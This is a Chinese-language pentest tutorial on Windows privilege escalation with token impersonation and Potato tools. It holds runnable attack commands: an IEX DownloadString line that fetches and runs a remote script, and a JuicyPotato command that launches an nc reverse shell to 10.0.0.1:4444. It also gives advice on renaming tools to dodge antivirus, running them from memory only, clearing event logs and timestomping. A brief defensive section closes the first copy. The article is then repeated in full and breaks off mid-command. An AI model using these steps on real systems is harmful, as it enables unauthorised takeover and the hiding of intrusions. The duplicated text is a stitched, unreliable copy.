1. 项目概述与核心价值在Windows渗透测试的后期阶段拿到一个初始立足点比如一个普通用户权限的shell往往只是开始。真正的挑战和目标是突破权限壁垒获取系统最高权限——通常是SYSTEM或Administrator权限。这个过程我们称之为权限提升。今天要深入探讨的是Windows环境下两种极具代表性且实战效果显著的提权技术Token Impersonation令牌模拟和Potato系列提权。这不仅仅是两个工具的使用更是对Windows安全核心机制——身份认证与访问控制模型的深度利用。简单来说Token Impersonation像是“偷梁换柱”它允许一个进程在特定条件下“借用”另一个更高权限用户的令牌来执行操作。而Potato系列技术则更像是一个精巧的“陷阱”它利用Windows系统内部服务间通信的信任关系诱骗高权限服务如SYSTEM主动向我们控制的进程发起连接从而“赠送”给我们一个高权限令牌。理解并掌握这两类技术意味着你不仅能应对常规的漏洞利用更能从系统设计层面寻找突破口这种思路在防御日益严密的现代环境中显得尤为重要。无论是红队评估、渗透测试还是安全研究权限提升都是绕不开的核心技能。本文将从一个实战者的角度带你从原理到实操彻底吃透这两种技术并分享我在多年实战中积累的避坑经验和排查技巧。2. 核心原理深度剖析令牌与认证机制要理解Token Impersonation和Potato我们必须先搞懂Windows的“令牌”到底是什么。你可以把令牌想象成你进入系统各个房间的“门禁卡权限清单”。当你登录Windows时系统会为你创建一张这样的卡。这张卡上不仅写着你的身份用户名、SID还详细列明了你拥有哪些权限比如能否修改系统文件、能否关机等以及你属于哪些用户组。2.1 Windows访问令牌详解访问令牌是Windows安全子系统lsass.exe进程管理的核心对象。每个进程都关联着一个主令牌决定了该进程的默认安全上下文。此外线程还可以拥有模拟令牌允许它临时以另一个用户的安全上下文运行。令牌中包含的关键信息包括用户身份标识用户SID安全标识符这是用户在系统中的唯一身份证号。组列表用户所属的所有组如Users、Administrators的SID。权限很多时候是赋予组的用户通过加入组来继承权限。特权列表一系列具体的、高级的操作权限例如SeDebugPrivilege调试程序、SeImpersonatePrivilege模拟客户端等。这些特权是提权的关键。完整性级别从低到高如Untrusted, Low, Medium, High, System用于强制完整性控制限制低完整性进程访问高完整性对象。模拟级别定义了令牌可以被如何模拟如SecurityAnonymous,SecurityIdentification,SecurityImpersonation,SecurityDelegation。SecurityImpersonation级别允许服务器线程在本地系统上模拟客户端。注意SeImpersonatePrivilege和SeAssignPrimaryTokenPrivilege这两个特权是进行令牌模拟操作的门票。默认情况下服务账户如Local Service、Network Service和管理员组成员通常拥有SeImpersonatePrivilege。这也是为什么我们常说的“服务账户”是提权的优质跳板。2.2 Token Impersonation 原理Token Impersonation的核心思想是“窃取”或“复制”一个更高权限进程的令牌并将其应用到我们控制的进程或线程上。这通常发生在以下场景进程注入将代码注入到一个以高权限如SYSTEM运行的进程中直接在该进程上下文中执行。此时我们“寄生”并继承了该进程的令牌。令牌复制通过OpenProcess获取高权限进程句柄再使用OpenProcessToken和DuplicateTokenEx等API函数复制该进程的令牌创建一个新的模拟令牌或主令牌。命名管道模拟当进程A通过命名管道与进程B通信时如果配置得当进程B可以模拟客户端进程A的身份。这是Potato系列技术的基础。成功的令牌模拟意味着我们的线程可以“变成”目标用户以其权限执行API调用、访问文件、注册表等资源。2.3 Potato系列提权原理Potato技术是令牌模拟在特定场景下的自动化、武器化应用。它的核心攻击面是Windows的认证协议如NTLM、Kerberos在本地回环localhost通信时的身份验证过程。其基本攻击链可以概括为诱饵设置攻击者进程中低权限在本地创建一个服务或监听器如HTTP服务器、RPC服务器、命名管道并配置其支持认证且允许模拟客户端。触发连接想方设法诱使一个运行在更高权限上下文通常是NT AUTHORITY\SYSTEM的进程或服务向攻击者控制的这个端点发起一个需要认证的网络连接。这是整个链条最关键、最精妙的一步。认证捕获当高权限服务连接时会发起认证协商。攻击者控制的服务器可以响应这个协商通常是通过抛出一个特定的错误或者重定向迫使客户端高权限服务向攻击者指定的另一个由攻击者完全控制的“陷阱”服务如一个伪造的SMB服务器进行认证。令牌窃取攻击者捕获到高权限服务发来的认证凭据如NTLM Hash并利用它通过Windows API如AcceptSecurityContext-ImpersonateSecurityContext创建一个模拟该高权限服务的令牌。权限执行最后攻击者利用这个窃取来的SYSTEM令牌创建一个新进程如cmd.exe或执行任意代码从而完成权限提升。从最初的“Hot Potato”利用Windows更新服务、NTLM循环等到后来的“Rotten Potato”、“Juicy Potato”、“Sweet Potato”其演变主要是为了适应不同Windows版本、不同服务账户特权以及防御策略如MIC、会话隔离的变化但核心思路一脉相承。3. 实战环境准备与信息收集在开始实操前盲目行动是大忌。我们需要像侦探一样仔细勘察“现场”。3.1 初始立足点与基本枚举假设我们已经通过某种方式如漏洞利用、钓鱼等获得了一个反向Shell或命令执行能力当前是一个普通用户权限。首先我们需要全面了解当前环境# 查看当前用户和权限 whoami whoami /priv # 这是关键查看当前令牌拥有的特权 # 查看系统信息 systeminfo hostname # 查看网络连接和监听端口寻找可能的内部服务 netstat -ano # 查看进程列表寻找以SYSTEM、高特权服务账户运行的进程 tasklist /v # 查看计划任务、服务中是否有配置不当的路径 schtasks /query /fo LIST /v sc query # 查看补丁情况寻找已知的本地提权漏洞 wmic qfe get Caption,Description,HotFixID,InstalledOn3.2 关键特权的识别运行whoami /priv后要像扫描漏洞一样扫描输出结果。我们重点关注以下特权是否被启用状态为EnabledSeImpersonatePrivilege模拟客户端身份。这是执行Potato类攻击的黄金门票。IIS、SQL Server等服务账户以及一些第三方服务经常默认拥有此特权。SeAssignPrimaryTokenPrivilege分配主令牌。同样对令牌操作至关重要。SeDebugPrivilege调试程序。允许我们读取/写入任何进程的内存是进程注入和令牌窃取的利器。管理员用户通常默认禁用但可启用。SeTcbPrivilege作为操作系统的一部分。这是最高特权之一拥有它几乎可以为所欲为。如果你发现当前用户启用了SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege那么恭喜你已经具备了进行令牌模拟攻击的基本条件。即使没有通过SeDebugPrivilege也可能先注入到有这些特权的进程。3.3 工具准备与上传在实战中我们通常需要将提权工具上传到目标机器。根据目标环境选择合适的方法PowerShell下载如果目标允许出网这是最方便的方式。# 从Web服务器下载文件 Invoke-WebRequest -Uri http://your-ip/tools/JuicyPotato.exe -OutFile C:\Windows\Temp\jp.exe # 或者使用更隐蔽的DownloadString加载到内存 IEX (New-Object Net.WebClient).DownloadString(http://your-ip/scripts/PowerUp.ps1)手动上传如果环境严格隔离可能需要通过已有的文件传输通道如FTP、TFTP、SMB共享或分段复制粘贴在Web Shell中常见来上传。本地编译/生成在极端情况下如果目标机器有开发环境如Visual Studio、.NET SDK可以考虑上传源代码本地编译以绕过杀软对已知二进制文件的查杀。常用的工具包括Juicy Potato (JP)最著名的Potato变种支持多种CLSID来触发连接成功率较高。RogueWinRM利用WinRM服务的一种提权方式可以看作是Potato思想在WinRM协议上的应用。PrintSpoofer利用Windows打印后台处理程序服务Spooler的漏洞进行提权在特定条件下非常有效。Meterpreter的incognito模块用于列举和窃取内存中的令牌。PowerSploit的PowerUp模块包含多种本地提权检查脚本能自动识别Potato利用条件。SweetPotatoJuicy Potato的继任者集成了更多技术对更新版本的Windows适应性更好。实操心得永远准备一个“工具箱”包含不同版本、不同编译选项如静态编译、去除特征的提权工具。杀毒软件对JuicyPotato.exe、nc.exe这类文件名非常敏感。上传前可以重命名比如jp.exe改成logviewer.exe或svchost_helper.exe有时能简单绕过静态检测。4. Token Impersonation 实战演练这里我们演示两种常见的令牌窃取与利用方式。4.1 通过进程注入窃取令牌假设我们通过某种方式如利用一个漏洞已经启用了SeDebugPrivilege或者当前用户就是管理员。我们可以注入到SYSTEM进程来窃取令牌。方法一使用 Meterpreter 的 Incognito这是最自动化的一种方式。# 在Meterpreter会话中 meterpreter use incognito meterpreter list_tokens -u # 列出可用的令牌 meterpreter impersonate_token NT AUTHORITY\\SYSTEM # 模拟SYSTEM令牌 meterpreter getuid # 验证当前用户如果成功你会看到用户变成了NT AUTHORITY\SYSTEM。之后你可以用shell命令获取一个SYSTEM权限的cmd。方法二手动利用 PowerShell 和 .NET API对于没有Meterpreter的环境我们可以用PowerShell实现。# 查找SYSTEM权限的进程例如 services.exe (PID通常较小且稳定) Get-Process -Name services | Select-Object Id, ProcessName, SessionId # 假设 services.exe 的PID是 584 $process Get-Process -Id 584 # 接下来的步骤需要调用Windows Native API如OpenProcess, OpenProcessToken, DuplicateTokenEx等 # 这通常需要编写更复杂的P/Invoke代码或者借助现成的脚本模块如 PowerSploit 的 Invoke-TokenManipulation实际上更常见的是直接使用成熟的脚本# 导入 PowerSploit 的 PowerUp 模块 Import-Module .\PowerUp.ps1 # 检查可利用的令牌 Invoke-AllChecks # 如果发现可用令牌可以使用模块中的其他函数进行模拟或者直接使用 Invoke-TokenManipulation -ImpersonateUser -Username NT AUTHORITY\SYSTEM4.2 利用 SeDebugPrivilege 复制令牌如果我们当前是管理员但SeDebugPrivilege默认是禁用的需要先启用它。# 在cmd中先提升至管理员如果尚未 # 然后启用SeDebugPrivilege。我们可以用一个小工具或者手动调用API。 # 一个简单的方法是使用微软官方工具 ntrights需安装Windows资源工具包但实战中不常见。 # 更实用的方法是使用一个小的C程序或PowerShell脚本。 # 一个PowerShell示例需要管理员权限 $process Get-Process -Id $PID # 获取当前PowerShell进程 $processToken [System.Diagnostics.Process]::GetCurrentProcess().Handle # 这里需要调用AdjustTokenPrivileges Win32 API代码略复杂。 # 因此实战中更倾向于直接使用编译好的工具如 SeDebugEnable.exe 或直接运行拥有该特权的服务账户。注意事项直接对高权限进程如lsass.exe进行打开和令牌复制操作会触发强烈的杀毒软件和EDR终端检测与响应告警因为这是LSASS内存访问的敏感操作。在对抗性强的环境中需要更隐蔽的技术如从其他非关键系统进程窃取令牌或者使用更底层的API调用链。5. Potato系列提权实战详解当我们的用户拥有SeImpersonatePrivilege常见于IIS应用池账户、SQL Server服务账户等Potato系列技术就派上用场了。5.1 Juicy Potato 经典利用Juicy Potato需要指定一个CLSID来诱骗SYSTEM服务连接。它自带一个CLSID列表但并非所有都有效取决于Windows版本和已安装的组件。基本使用步骤上传工具将JuicyPotato.exe或重命名后的文件上传到目标可写目录如C:\Windows\Temp\。选择CLSID这是成败关键。可以先用默认的或者从工具自带的clsid列表中尝试。一个经典的通用CLSID是{4991d34b-80a1-4291-83b6-3328366b9097}用于Windows任务计划程序但在不同系统上可能失效。执行命令# 基本语法 JuicyPotato.exe -l 监听端口 -p 要启动的程序 -t 类型 -c CLSID # 一个常见示例尝试使用默认CLSID启动一个SYSTEM权限的cmd C:\Temp\jp.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {4991d34b-80a1-4291-83b6-3328366b9097} # 更常用的方式是生成一个反向Shell # 首先在攻击机监听nc -lvnp 4444 # 然后目标执行 C:\Temp\jp.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID} -a /c C:\Temp\nc.exe -e cmd.exe 10.0.0.1 4444-l指定一个本地COM监听端口。-p指定提权成功后要执行的程序路径。-t指定创建进程的类型*表示尝试所有类型CreateProcessAsUser, CreateProcessWithToken等。-c指定用于触发连接的CLSID。-a传递给-p指定程序的命令行参数。如何寻找有效的CLSID使用内置列表Juicy Potato作者提供了一个JSON文件包含大量CLSID及其适用的系统。可以下载到本地根据目标系统版本筛选。自动化测试可以写一个简单的循环脚本遍历一个CLSID列表进行尝试。但要注意频繁的失败尝试可能会产生大量日志。参考经验在Windows Server 2012 R2 / 2016上{854A20FB-2D44-457D-992F-EF13785D2B51}曾被广泛使用。在Windows 10/Server 2019及以后可能需要寻找其他CLSID或者使用更新的工具如SweetPotato。5.2 PrintSpoofer 利用详解当JuicyPotato因为系统更新或CLSID失效而无法工作时PrintSpoofer是另一个强大的备选方案。它利用的是Windows打印后台处理程序服务Spooler的漏洞CVE-2020-1048的变种利用方式。前提条件拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege。打印后台处理程序服务Spooler正在运行。在大多数服务器和桌面系统上该服务默认是开启的。使用方法极其简单# 下载或上传 PrintSpoofer.exe PrintSpoofer.exe -i -c cmd-i交互式模式直接启动一个SYSTEM权限的cmd。-c指定要执行的命令。执行后如果成功你会直接获得一个SYSTEM权限的命令行窗口。其原理是创建一个命名管道然后通过打印服务相关的RPC调用诱使SYSTEM权限的打印服务进程连接到该管道并进行身份验证从而窃取其令牌。实操心得PrintSpoofer的成功率在支持的系统上非常高且命令简洁。但在一些加固过的系统上Spooler服务可能被禁用。因此在执行前务必检查服务状态sc query spooler。如果服务停止可以尝试启动它net start spooler但这需要相应的权限可能触发告警。5.3 RogueWinRM 利用详解如果目标系统是Windows 10/Server 2019及以上并且启用了WinRMWindows远程管理服务但监听端口5985/5986未对公网开放那么RogueWinRM是一个值得尝试的方法。原理利用WinRM服务在本地环回地址上监听时的一个特性结合Potato的令牌模拟思想。使用方法检查WinRM服务状态和端口sc query winrm netstat -ano | findstr :5985如果WinRM服务正在运行但只绑定在127.0.0.1那么可以利用。上传RogueWinRM.exe工具并执行RogueWinRM.exe -p C:\Windows\System32\cmd.exe -a /c whoami C:\temp\test.txt执行成功后命令会以SYSTEM权限运行。这个工具的好处是无需指定复杂的CLSID但前提条件是WinRM服务可用且配置特定。6. 高级技巧与隐蔽化操作在真实的对抗环境中直接运行知名提权工具exe文件无异于“裸奔”。我们需要考虑如何绕过防御。6.1 内存加载与无文件执行避免在磁盘上留下提权工具的痕迹。PowerShell 反射加载将工具的.NET版本如SweetPotato的C#版本编译成DLL然后通过PowerShell的反射加载到内存中执行。$Assembly [System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(C:\Temp\SweetPotato.dll)) $SweetPotato [SweetPotato.Program]::Main((-p, cmd.exe))Cobalt Strike/PowerShell Empire这些高级框架内置了多种提权模块如getsystem它们通常使用纯内存操作或经过混淆的脚本来实现令牌模拟规避基于签名的检测。6.2 替代CLSID与协议发现当标准CLSID失效时需要自己寻找可用的COM对象。枚举本地COM对象使用Get-CimInstance Win32_COMSetting或检查注册表HKCR\CLSID。寻找其AppID对应的服务是否以SYSTEM运行并且该服务支持某些可触发连接的接口。研究其他协议Potato的本质是诱导本地认证。除了DCOM还可以研究其他本地RPC服务、ALPC端口等寻找可以触发连接的点。这需要深厚的Windows内部机制研究功底。6.3 清理痕迹提权成功后不要忘记清理。删除上传的工具二进制文件。清理命令历史如果适用。检查并清理可能产生的日志如Windows事件日志中的4688进程创建事件、4672特殊权限分配事件但这通常需要SYSTEM权限本身。使用meterpreter的timestomp功能修改文件时间属性使其与系统文件时间混杂。7. 常见问题排查与防御视角7.1 提权失败原因排查表问题现象可能原因排查步骤与解决方案JuicyPotato返回[!] CreateProcessWithTokenW Failed1. CLSID无效。2. 当前用户没有SeImpersonatePrivilege。3. 系统版本太新默认CLSID被修补。4. 杀软拦截。1. 运行whoami /priv确认特权。2. 尝试其他CLSID使用-c参数指定列表。3. 尝试使用PrintSpoofer或RogueWinRM。4. 将工具重命名或进行免杀处理。PrintSpoofer返回[-] Spooler service is not running打印后台处理程序服务未启动。1.sc query spooler确认。2. 尝试启动服务net start spooler需权限。3. 如果服务被禁用或无法启动放弃此方法。任何工具执行后无任何反应进程退出1. 杀软静态或动态查杀。2. 工具与系统架构不匹配x86 vs x64。3. 依赖项缺失如特定VC运行库。1. 在测试环境确认工具本身可用。2. 使用systeminfo查看系统类型使用对应版本工具。3. 尝试使用纯.NET或PowerShell版本的工具。能创建进程但权限未提升令牌模拟成功但创建新进程时使用了错误的创建方式如CreateProcessAsUservsCreateProcessWithToken。对于Juicy Potato尝试不同的-t参数如-t t仅尝试CreateProcessWithToken或-t u仅尝试CreateProcessAsUser。收到Access is denied错误当前令牌权限不足无法进行关键操作如打开特定进程、复制令牌。检查是否拥有SeDebugPrivilege用于进程操作或SeImpersonatePrivilege用于模拟。可能需要先进行其他方式的提权如利用内核漏洞来获得这些特权。7.2 从防御角度看如何防范了解攻击是为了更好的防御。作为系统管理员或安全工程师可以采取以下措施遵循最小权限原则确保服务账户只拥有其运行所必需的最小权限。仔细审查并移除非必要的SeImpersonatePrivilege和SeAssignPrimaryTokenPrivilege。启用Windows Defender Credential Guard在支持的系统上如Windows 10/11 Enterprise, Server 2016启用Credential Guard可以隔离LSASS进程使攻击者无法从内存中直接窃取令牌或哈希这对Token Impersonation是很好的缓解。实施受控文件夹访问或应用程序控制通过WDAC或AppLocker限制非授权二进制文件的执行阻止攻击者上传和运行提权工具。监控与告警监控具有SeImpersonatePrivilege的非标准服务账户的进程创建行为。监控lsass.exe的句柄打开请求特别是来自非系统进程的。监控非常规的本地RPC/DCOM连接请求。使用Sysmon等工具记录详细的进程创建日志Event ID 1并关注父进程是服务或COM激活的异常子进程。及时更新系统微软会通过更新修补用于Potato攻击的特定CLSID和协议漏洞。保持系统更新可以防范已知的利用路径。禁用不必要的服务如非必需禁用打印后台处理程序服务Spooler和WinRM服务可以切断PrintSpoofer和RogueWinRM的攻击路径。在我个人的渗透测试经历中Token Impersonation和Potato类提权是内网横向移动和权限提升的“常规武器库”。它们的成功不依赖于未修补的远程漏洞而是依赖于系统配置和默认的信任模型。因此对于攻击方掌握它们意味着在看似严密的防御中找到了“制度的缝隙”对于防御方理解它们则提醒我们权限配置和系统加固与修补漏洞同等重要。真正的安全是一个持续的过程而非一劳永逸的状态。每次测试我都会反复验证这些手法的有效性同时也时刻关注着新的绕过技术和防御策略的出现这正是一场永不停歇的攻防博弈。
Windows权限提升实战：令牌模拟与Potato技术深度解析
发布时间：2026/7/27 10:23:23
1. 项目概述与核心价值在Windows渗透测试的后期阶段拿到一个初始立足点比如一个普通用户权限的shell往往只是开始。真正的挑战和目标是突破权限壁垒获取系统最高权限——通常是SYSTEM或Administrator权限。这个过程我们称之为权限提升。今天要深入探讨的是Windows环境下两种极具代表性且实战效果显著的提权技术Token Impersonation令牌模拟和Potato系列提权。这不仅仅是两个工具的使用更是对Windows安全核心机制——身份认证与访问控制模型的深度利用。简单来说Token Impersonation像是“偷梁换柱”它允许一个进程在特定条件下“借用”另一个更高权限用户的令牌来执行操作。而Potato系列技术则更像是一个精巧的“陷阱”它利用Windows系统内部服务间通信的信任关系诱骗高权限服务如SYSTEM主动向我们控制的进程发起连接从而“赠送”给我们一个高权限令牌。理解并掌握这两类技术意味着你不仅能应对常规的漏洞利用更能从系统设计层面寻找突破口这种思路在防御日益严密的现代环境中显得尤为重要。无论是红队评估、渗透测试还是安全研究权限提升都是绕不开的核心技能。本文将从一个实战者的角度带你从原理到实操彻底吃透这两种技术并分享我在多年实战中积累的避坑经验和排查技巧。2. 核心原理深度剖析令牌与认证机制要理解Token Impersonation和Potato我们必须先搞懂Windows的“令牌”到底是什么。你可以把令牌想象成你进入系统各个房间的“门禁卡权限清单”。当你登录Windows时系统会为你创建一张这样的卡。这张卡上不仅写着你的身份用户名、SID还详细列明了你拥有哪些权限比如能否修改系统文件、能否关机等以及你属于哪些用户组。2.1 Windows访问令牌详解访问令牌是Windows安全子系统lsass.exe进程管理的核心对象。每个进程都关联着一个主令牌决定了该进程的默认安全上下文。此外线程还可以拥有模拟令牌允许它临时以另一个用户的安全上下文运行。令牌中包含的关键信息包括用户身份标识用户SID安全标识符这是用户在系统中的唯一身份证号。组列表用户所属的所有组如Users、Administrators的SID。权限很多时候是赋予组的用户通过加入组来继承权限。特权列表一系列具体的、高级的操作权限例如SeDebugPrivilege调试程序、SeImpersonatePrivilege模拟客户端等。这些特权是提权的关键。完整性级别从低到高如Untrusted, Low, Medium, High, System用于强制完整性控制限制低完整性进程访问高完整性对象。模拟级别定义了令牌可以被如何模拟如SecurityAnonymous,SecurityIdentification,SecurityImpersonation,SecurityDelegation。SecurityImpersonation级别允许服务器线程在本地系统上模拟客户端。注意SeImpersonatePrivilege和SeAssignPrimaryTokenPrivilege这两个特权是进行令牌模拟操作的门票。默认情况下服务账户如Local Service、Network Service和管理员组成员通常拥有SeImpersonatePrivilege。这也是为什么我们常说的“服务账户”是提权的优质跳板。2.2 Token Impersonation 原理Token Impersonation的核心思想是“窃取”或“复制”一个更高权限进程的令牌并将其应用到我们控制的进程或线程上。这通常发生在以下场景进程注入将代码注入到一个以高权限如SYSTEM运行的进程中直接在该进程上下文中执行。此时我们“寄生”并继承了该进程的令牌。令牌复制通过OpenProcess获取高权限进程句柄再使用OpenProcessToken和DuplicateTokenEx等API函数复制该进程的令牌创建一个新的模拟令牌或主令牌。命名管道模拟当进程A通过命名管道与进程B通信时如果配置得当进程B可以模拟客户端进程A的身份。这是Potato系列技术的基础。成功的令牌模拟意味着我们的线程可以“变成”目标用户以其权限执行API调用、访问文件、注册表等资源。2.3 Potato系列提权原理Potato技术是令牌模拟在特定场景下的自动化、武器化应用。它的核心攻击面是Windows的认证协议如NTLM、Kerberos在本地回环localhost通信时的身份验证过程。其基本攻击链可以概括为诱饵设置攻击者进程中低权限在本地创建一个服务或监听器如HTTP服务器、RPC服务器、命名管道并配置其支持认证且允许模拟客户端。触发连接想方设法诱使一个运行在更高权限上下文通常是NT AUTHORITY\SYSTEM的进程或服务向攻击者控制的这个端点发起一个需要认证的网络连接。这是整个链条最关键、最精妙的一步。认证捕获当高权限服务连接时会发起认证协商。攻击者控制的服务器可以响应这个协商通常是通过抛出一个特定的错误或者重定向迫使客户端高权限服务向攻击者指定的另一个由攻击者完全控制的“陷阱”服务如一个伪造的SMB服务器进行认证。令牌窃取攻击者捕获到高权限服务发来的认证凭据如NTLM Hash并利用它通过Windows API如AcceptSecurityContext-ImpersonateSecurityContext创建一个模拟该高权限服务的令牌。权限执行最后攻击者利用这个窃取来的SYSTEM令牌创建一个新进程如cmd.exe或执行任意代码从而完成权限提升。从最初的“Hot Potato”利用Windows更新服务、NTLM循环等到后来的“Rotten Potato”、“Juicy Potato”、“Sweet Potato”其演变主要是为了适应不同Windows版本、不同服务账户特权以及防御策略如MIC、会话隔离的变化但核心思路一脉相承。3. 实战环境准备与信息收集在开始实操前盲目行动是大忌。我们需要像侦探一样仔细勘察“现场”。3.1 初始立足点与基本枚举假设我们已经通过某种方式如漏洞利用、钓鱼等获得了一个反向Shell或命令执行能力当前是一个普通用户权限。首先我们需要全面了解当前环境# 查看当前用户和权限 whoami whoami /priv # 这是关键查看当前令牌拥有的特权 # 查看系统信息 systeminfo hostname # 查看网络连接和监听端口寻找可能的内部服务 netstat -ano # 查看进程列表寻找以SYSTEM、高特权服务账户运行的进程 tasklist /v # 查看计划任务、服务中是否有配置不当的路径 schtasks /query /fo LIST /v sc query # 查看补丁情况寻找已知的本地提权漏洞 wmic qfe get Caption,Description,HotFixID,InstalledOn3.2 关键特权的识别运行whoami /priv后要像扫描漏洞一样扫描输出结果。我们重点关注以下特权是否被启用状态为EnabledSeImpersonatePrivilege模拟客户端身份。这是执行Potato类攻击的黄金门票。IIS、SQL Server等服务账户以及一些第三方服务经常默认拥有此特权。SeAssignPrimaryTokenPrivilege分配主令牌。同样对令牌操作至关重要。SeDebugPrivilege调试程序。允许我们读取/写入任何进程的内存是进程注入和令牌窃取的利器。管理员用户通常默认禁用但可启用。SeTcbPrivilege作为操作系统的一部分。这是最高特权之一拥有它几乎可以为所欲为。如果你发现当前用户启用了SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege那么恭喜你已经具备了进行令牌模拟攻击的基本条件。即使没有通过SeDebugPrivilege也可能先注入到有这些特权的进程。3.3 工具准备与上传在实战中我们通常需要将提权工具上传到目标机器。根据目标环境选择合适的方法PowerShell下载如果目标允许出网这是最方便的方式。# 从Web服务器下载文件 Invoke-WebRequest -Uri http://your-ip/tools/JuicyPotato.exe -OutFile C:\Windows\Temp\jp.exe # 或者使用更隐蔽的DownloadString加载到内存 IEX (New-Object Net.WebClient).DownloadString(http://your-ip/scripts/PowerUp.ps1)手动上传如果环境严格隔离可能需要通过已有的文件传输通道如FTP、TFTP、SMB共享或分段复制粘贴在Web Shell中常见来上传。本地编译/生成在极端情况下如果目标机器有开发环境如Visual Studio、.NET SDK可以考虑上传源代码本地编译以绕过杀软对已知二进制文件的查杀。常用的工具包括Juicy Potato (JP)最著名的Potato变种支持多种CLSID来触发连接成功率较高。RogueWinRM利用WinRM服务的一种提权方式可以看作是Potato思想在WinRM协议上的应用。PrintSpoofer利用Windows打印后台处理程序服务Spooler的漏洞进行提权在特定条件下非常有效。Meterpreter的incognito模块用于列举和窃取内存中的令牌。PowerSploit的PowerUp模块包含多种本地提权检查脚本能自动识别Potato利用条件。SweetPotatoJuicy Potato的继任者集成了更多技术对更新版本的Windows适应性更好。实操心得永远准备一个“工具箱”包含不同版本、不同编译选项如静态编译、去除特征的提权工具。杀毒软件对JuicyPotato.exe、nc.exe这类文件名非常敏感。上传前可以重命名比如jp.exe改成logviewer.exe或svchost_helper.exe有时能简单绕过静态检测。4. Token Impersonation 实战演练这里我们演示两种常见的令牌窃取与利用方式。4.1 通过进程注入窃取令牌假设我们通过某种方式如利用一个漏洞已经启用了SeDebugPrivilege或者当前用户就是管理员。我们可以注入到SYSTEM进程来窃取令牌。方法一使用 Meterpreter 的 Incognito这是最自动化的一种方式。# 在Meterpreter会话中 meterpreter use incognito meterpreter list_tokens -u # 列出可用的令牌 meterpreter impersonate_token NT AUTHORITY\\SYSTEM # 模拟SYSTEM令牌 meterpreter getuid # 验证当前用户如果成功你会看到用户变成了NT AUTHORITY\SYSTEM。之后你可以用shell命令获取一个SYSTEM权限的cmd。方法二手动利用 PowerShell 和 .NET API对于没有Meterpreter的环境我们可以用PowerShell实现。# 查找SYSTEM权限的进程例如 services.exe (PID通常较小且稳定) Get-Process -Name services | Select-Object Id, ProcessName, SessionId # 假设 services.exe 的PID是 584 $process Get-Process -Id 584 # 接下来的步骤需要调用Windows Native API如OpenProcess, OpenProcessToken, DuplicateTokenEx等 # 这通常需要编写更复杂的P/Invoke代码或者借助现成的脚本模块如 PowerSploit 的 Invoke-TokenManipulation实际上更常见的是直接使用成熟的脚本# 导入 PowerSploit 的 PowerUp 模块 Import-Module .\PowerUp.ps1 # 检查可利用的令牌 Invoke-AllChecks # 如果发现可用令牌可以使用模块中的其他函数进行模拟或者直接使用 Invoke-TokenManipulation -ImpersonateUser -Username NT AUTHORITY\SYSTEM4.2 利用 SeDebugPrivilege 复制令牌如果我们当前是管理员但SeDebugPrivilege默认是禁用的需要先启用它。# 在cmd中先提升至管理员如果尚未 # 然后启用SeDebugPrivilege。我们可以用一个小工具或者手动调用API。 # 一个简单的方法是使用微软官方工具 ntrights需安装Windows资源工具包但实战中不常见。 # 更实用的方法是使用一个小的C程序或PowerShell脚本。 # 一个PowerShell示例需要管理员权限 $process Get-Process -Id $PID # 获取当前PowerShell进程 $processToken [System.Diagnostics.Process]::GetCurrentProcess().Handle # 这里需要调用AdjustTokenPrivileges Win32 API代码略复杂。 # 因此实战中更倾向于直接使用编译好的工具如 SeDebugEnable.exe 或直接运行拥有该特权的服务账户。注意事项直接对高权限进程如lsass.exe进行打开和令牌复制操作会触发强烈的杀毒软件和EDR终端检测与响应告警因为这是LSASS内存访问的敏感操作。在对抗性强的环境中需要更隐蔽的技术如从其他非关键系统进程窃取令牌或者使用更底层的API调用链。5. Potato系列提权实战详解当我们的用户拥有SeImpersonatePrivilege常见于IIS应用池账户、SQL Server服务账户等Potato系列技术就派上用场了。5.1 Juicy Potato 经典利用Juicy Potato需要指定一个CLSID来诱骗SYSTEM服务连接。它自带一个CLSID列表但并非所有都有效取决于Windows版本和已安装的组件。基本使用步骤上传工具将JuicyPotato.exe或重命名后的文件上传到目标可写目录如C:\Windows\Temp\。选择CLSID这是成败关键。可以先用默认的或者从工具自带的clsid列表中尝试。一个经典的通用CLSID是{4991d34b-80a1-4291-83b6-3328366b9097}用于Windows任务计划程序但在不同系统上可能失效。执行命令# 基本语法 JuicyPotato.exe -l 监听端口 -p 要启动的程序 -t 类型 -c CLSID # 一个常见示例尝试使用默认CLSID启动一个SYSTEM权限的cmd C:\Temp\jp.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {4991d34b-80a1-4291-83b6-3328366b9097} # 更常用的方式是生成一个反向Shell # 首先在攻击机监听nc -lvnp 4444 # 然后目标执行 C:\Temp\jp.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID} -a /c C:\Temp\nc.exe -e cmd.exe 10.0.0.1 4444-l指定一个本地COM监听端口。-p指定提权成功后要执行的程序路径。-t指定创建进程的类型*表示尝试所有类型CreateProcessAsUser, CreateProcessWithToken等。-c指定用于触发连接的CLSID。-a传递给-p指定程序的命令行参数。如何寻找有效的CLSID使用内置列表Juicy Potato作者提供了一个JSON文件包含大量CLSID及其适用的系统。可以下载到本地根据目标系统版本筛选。自动化测试可以写一个简单的循环脚本遍历一个CLSID列表进行尝试。但要注意频繁的失败尝试可能会产生大量日志。参考经验在Windows Server 2012 R2 / 2016上{854A20FB-2D44-457D-992F-EF13785D2B51}曾被广泛使用。在Windows 10/Server 2019及以后可能需要寻找其他CLSID或者使用更新的工具如SweetPotato。5.2 PrintSpoofer 利用详解当JuicyPotato因为系统更新或CLSID失效而无法工作时PrintSpoofer是另一个强大的备选方案。它利用的是Windows打印后台处理程序服务Spooler的漏洞CVE-2020-1048的变种利用方式。前提条件拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege。打印后台处理程序服务Spooler正在运行。在大多数服务器和桌面系统上该服务默认是开启的。使用方法极其简单# 下载或上传 PrintSpoofer.exe PrintSpoofer.exe -i -c cmd-i交互式模式直接启动一个SYSTEM权限的cmd。-c指定要执行的命令。执行后如果成功你会直接获得一个SYSTEM权限的命令行窗口。其原理是创建一个命名管道然后通过打印服务相关的RPC调用诱使SYSTEM权限的打印服务进程连接到该管道并进行身份验证从而窃取其令牌。实操心得PrintSpoofer的成功率在支持的系统上非常高且命令简洁。但在一些加固过的系统上Spooler服务可能被禁用。因此在执行前务必检查服务状态sc query spooler。如果服务停止可以尝试启动它net start 